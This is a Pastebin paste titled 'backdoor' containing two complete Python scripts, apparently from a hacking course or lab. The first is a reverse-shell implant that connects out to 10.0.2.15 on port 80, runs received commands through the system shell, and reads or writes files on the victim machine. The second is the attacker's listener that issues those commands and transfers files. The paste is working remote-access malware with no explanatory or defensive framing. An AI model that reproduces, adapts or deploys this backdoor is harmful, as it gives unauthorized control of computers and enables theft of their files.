swartj

backdoor

May 10th, 2021 (edited)
112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.20 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import socket
  4. import subprocess
  5. import json
  6. import os
  7. import base64
  8. import sys
  9.  
  10. class Backdoor:
  11. def __init__(self, ip, port):
  12. self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  13. self.connection.connect((ip, port))
  14.  
  15. def reliable_send(self, data):
  16. json_data = json.dumps(data)
  17. self.connection.send(json_data)
  18.  
  19. def reliable_receive(self):
  20. json_data = ""
  21. while True:
  22. try:
  23. json_data = json_data + self.connection.recv(1024)
  24. return json.loads(json_data)
  25. except ValueError:
  26. continue
  27.  
  28. def read_file(self, path):
  29. with open(path, "rb") as file:
  30. return base64.b64encode(file.read())
  31.  
  32. def write_file(self, path, content):
  33. with open(path, "wb") as file:
  34. file.write(base64.b64decode(content))
  35. return "[+] Upload successful."
  36.  
  37. def execute_system_command(self, command):
  38. DEVNULL = open(os.devnull, 'wb')
  39. return subprocess.check_output(command, shell=True, stderr=DEVNULL, stdin=DEVNULL)
  40.  
  41. def run(self):
  42. while True:
  43. command = self.reliable_receive()
  44. try:
  45. if command[0] == "exit":
  46. self.connection.close()
  47. sys.exit()
  48. elif command[0] == "cd" and len(command) > 1:
  49. command_result = self.change_working_direcory_to(command[1])
  50. elif command[0] == "download":
  51. command_result = self.read_file(command[1])
  52. elif command[0] == "upload":
  53. command_result = self.write_file(command[1], command[2])
  54. else:
  55. command_result = self.execute_system_command(command)
  56. except Exception:
  57. command_result = "[-] Error during command execution."
  58. self.reliable_send(command_result)
  59.  
  60. def change_working_direcory_to(self, path):
  61. os.chdir(path)
  62. return "[+] Changing working directory to " + path
  63.  
  64. my_backdoor = Backdoor("10.0.2.15", 80)
  65. my_backdoor.run()
  66.  
  67. #!/usr/bin/env python
  68.  
  69. import socket, json, base64
  70.  
  71. class Listener:
  72. def __init__(self, ip, port):
  73. listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  74. listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  75. listener.bind((ip, port))
  76. listener.listen(0)
  77. print("[+] Waiting for incoming connections.")
  78. self.connection, adress = listener.accept()
  79. print("[+] Got a connection." + str(adress))
  80.  
  81. def reliable_send(self, data):
  82. json_data = json.dumps(data)
  83. self.connection.send(json_data)
  84.  
  85. def reliable_receive(self):
  86. json_data = ""
  87. while True:
  88. try:
  89. json_data = json_data + self.connection.recv(1024)
  90. return json.loads(json_data)
  91. except ValueError:
  92. continue
  93. def write_file(self, path, content):
  94. with open(path, "wb") as file:
  95. file.write(base64.b64decode(content))
  96. return "[+] Download successful."
  97.  
  98. def read_file(self, path):
  99. with open(path, "rb") as file:
  100. return base64.b64encode(file.read())
  101.  
  102. def execute_remotely(self, command):
  103. self.reliable_send(command)
  104. if command[0] == "exit":
  105. self.connection.close()
  106. exit()
  107. return self.reliable_receive()
  108.  
  109. def run(self):
  110. while True:
  111. command = raw_input(">> ")
  112. command = command.split(" ")
  113.  
  114. try:
  115. if command[0] == "upload":
  116. file_content = self.read_file(command[1])
  117. command.append(file_content)
  118.  
  119. result = self.execute_remotely(command)
  120.  
  121. if command[0] == "download" and "[-] Error " not in result:
  122. result = self.write_file(command[1], result)
  123. except Exception:
  124. result = "[-] Error during command execution."
  125.  
  126. print(result)
  127.  
  128. my_listener = Listener("10.0.2.15", 80)
  129. my_listener.run()
  130.  
  131.  
  132.  
  133.  
  134.  
  135.  
  136.  
Add Comment
Please, Sign In to add comment